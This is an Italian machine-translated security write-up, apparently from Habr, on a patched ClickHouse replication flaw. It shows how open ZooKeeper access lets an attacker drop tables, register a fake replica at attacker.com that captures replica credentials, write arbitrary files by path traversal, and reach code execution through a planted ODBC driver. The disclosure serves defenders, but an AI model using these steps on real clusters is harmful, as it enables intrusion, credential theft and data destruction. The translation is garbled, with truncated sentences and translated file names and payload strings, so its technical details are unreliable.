Questo articolo racconterà la storia di una vulnerabilità molto specifica nel protocollo di replica ClickHouse e mostrerà anche come espandere la superficie di attacco.
ClickHouse è un database per l'archiviazione di grandi volumi di dati, molto spesso utilizzando più di una replica. Il clustering e la replica in ClickHouse sono basati su questo
L'installazione ZK predefinita non richiede l'autenticazione, quindi migliaia di server ZK utilizzati per configurare Kafka, Hadoop e ClickHouse sono disponibili pubblicamente.
Per ridurre la superficie di attacco, dovresti sempre configurare l'autenticazione e l'autorizzazione durante l'installazione di ZooKeeper
Esistono ovviamente alcune deserializzazioni Java basate su 0day, ma immagina che un utente malintenzionato possa leggere e scrivere su ZooKeeper, utilizzato per la replica di ClickHouse.
Se configurato in modalità cluster, ClickHouse supporta query distribuite /clickhouse/task_queue/ddl
.
Ad esempio, crei un nodo /clickhouse/task_queue/ddl/query-0001
con contenuto:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
successivamente, la tabella di test verrà eliminata sui server cluster host1 e host2. DDL supporta anche l'esecuzione di query CREATE/ALTER/DROP.
Sembra spaventoso? Ma dove può un utente malintenzionato ottenere gli indirizzi dei server?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
verranno creati i nodi colonne и metadati.
Contenuto /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
È possibile unire i dati da questo cluster? Sì, se la porta di replica (TCP/9009
) sul server chXX-address
il firewall non verrà chiuso e l'autenticazione per la replica non verrà configurata. Come bypassare l'autenticazione?
Un utente malintenzionato può creare una nuova replica in ZK semplicemente copiandone il contenuto /clickhouse/tables/01-01/foobar/replicas/chXX
e cambiando il significato host
.
Contenuto /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Quindi devi dire alle altre repliche che c'è un nuovo blocco di dati sul server dell'aggressore che devono prendere: viene creato un nodo in ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX contatore a crescita monotona, che dovrebbe essere maggiore dell'ultimo nel registro eventi):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
dove source_replica — il nome della replica dell'aggressore creata nella fase precedente, blocco_id — identificatore del blocco dati, ottenere - comando "ottieni blocco" (e
Successivamente, ciascuna replica legge un nuovo evento nel registro e si dirige verso un server controllato dall'aggressore per ricevere un blocco di dati (il protocollo di replica è binario, in esecuzione su HTTP). server attacker.com
riceveranno richieste:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
dove XXX sono i dati di autenticazione per la replica. In alcuni casi può trattarsi di un account con accesso al database tramite il protocollo principale ClickHouse e il protocollo HTTP. Come hai visto, la superficie di attacco diventa estremamente ampia perché ZooKeeper, utilizzato per la replica, è stato lasciato senza l'autenticazione configurata.
Diamo un'occhiata alla funzione di ottenere un blocco di dati da una replica, è scritta con la piena certezza che tutte le repliche siano sotto il controllo adeguato e che vi sia fiducia tra di loro.
codice di elaborazione della replica
La funzione legge un elenco di file, quindi i loro nomi, dimensioni, contenuti e quindi li scrive nel file system. Vale la pena descrivere separatamente come vengono archiviati i dati nel file system.
Ci sono diverse sottodirectory in /var/lib/clickhouse
(directory di archiviazione predefinita dal file di configurazione):
bandiere - directory per la registrazione
tmp — directory per la memorizzazione di file temporanei;
file_utente — le operazioni con i file nelle richieste sono limitate a questa directory (INTO OUTFILE e altre);
metadati — file SQL con descrizioni di tabelle;
preprocessed_configs - file di configurazione derivati elaborati da /etc/clickhouse-server
;
dati - la directory vera e propria con i dati stessi, in questo caso per ogni database viene semplicemente creata una sottodirectory separata (ad es /var/lib/clickhouse/data/default
).
Per ogni tabella viene creata una sottodirectory nella directory del database. Ogni colonna è un file separato a seconda
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
La replica prevede di ricevere file con gli stessi nomi durante l'elaborazione di un blocco di dati e non li convalida in alcun modo.
Il lettore attento probabilmente avrà già sentito parlare della non sicura concatenazione di nome_file in una funzione WriteBufferFromFile
. Sì, ciò consente a un utente malintenzionato di scrivere contenuti arbitrari su qualsiasi file su FS con diritti utente clickhouse
. Per fare ciò, la replica controllata dall'attaccante deve restituire la seguente risposta alla richiesta (sono state aggiunte interruzioni di riga per facilitare la comprensione):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
e dopo la concatenazione ../../../../../../../../../tmp/pwned
il file verrà scritto /tmp/pwned con contenuto ciao dal guardiano dello zoo.
Sono disponibili diverse opzioni per trasformare la capacità di scrittura dei file in esecuzione di codice remoto (RCE).
Dizionari esterni in RCE
Nelle versioni precedenti, la directory con le impostazioni di ClickHouse veniva archiviata con i diritti utente clickhouse predefinito. I file di impostazioni sono file XML che il servizio legge all'avvio e quindi li memorizza nella cache /var/lib/clickhouse/preprocessed_configs
. Quando si verificano cambiamenti, vengono riletti. Se hai accesso a /etc/clickhouse-server
un utente malintenzionato può crearne uno proprio root
.
Da ODBC a RCE
Quando si installa un pacchetto, viene creato un utente clickhouse
, ma la sua directory home non viene creata /nonexistent
. Tuttavia, quando si utilizzano dizionari esterni o per altri motivi, gli amministratori creano una directory /nonexistent
e dare all'utente clickhouse
accesso per scrivervi (SSZB! ca. traduttore).
Supporta ClickHouse odbc-bridge
, quindi non è più possibile specificare il percorso del driver dalla richiesta. Ma un utente malintenzionato può scrivere nella directory home sfruttando la vulnerabilità sopra descritta?
Creiamo un file ~/.odbc.ini
con contenuti come questo:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
poi all'avvio SELECT * FROM odbc('DSN=lalala', 'test', 'test');
la libreria verrà caricata test.so
e ho ricevuto RCE (grazie
Queste e altre vulnerabilità sono state corrette nella versione ClickHouse 19.14.3. Prenditi cura della tua ClickHouse e ZooKeepers!
Fonte: habr.com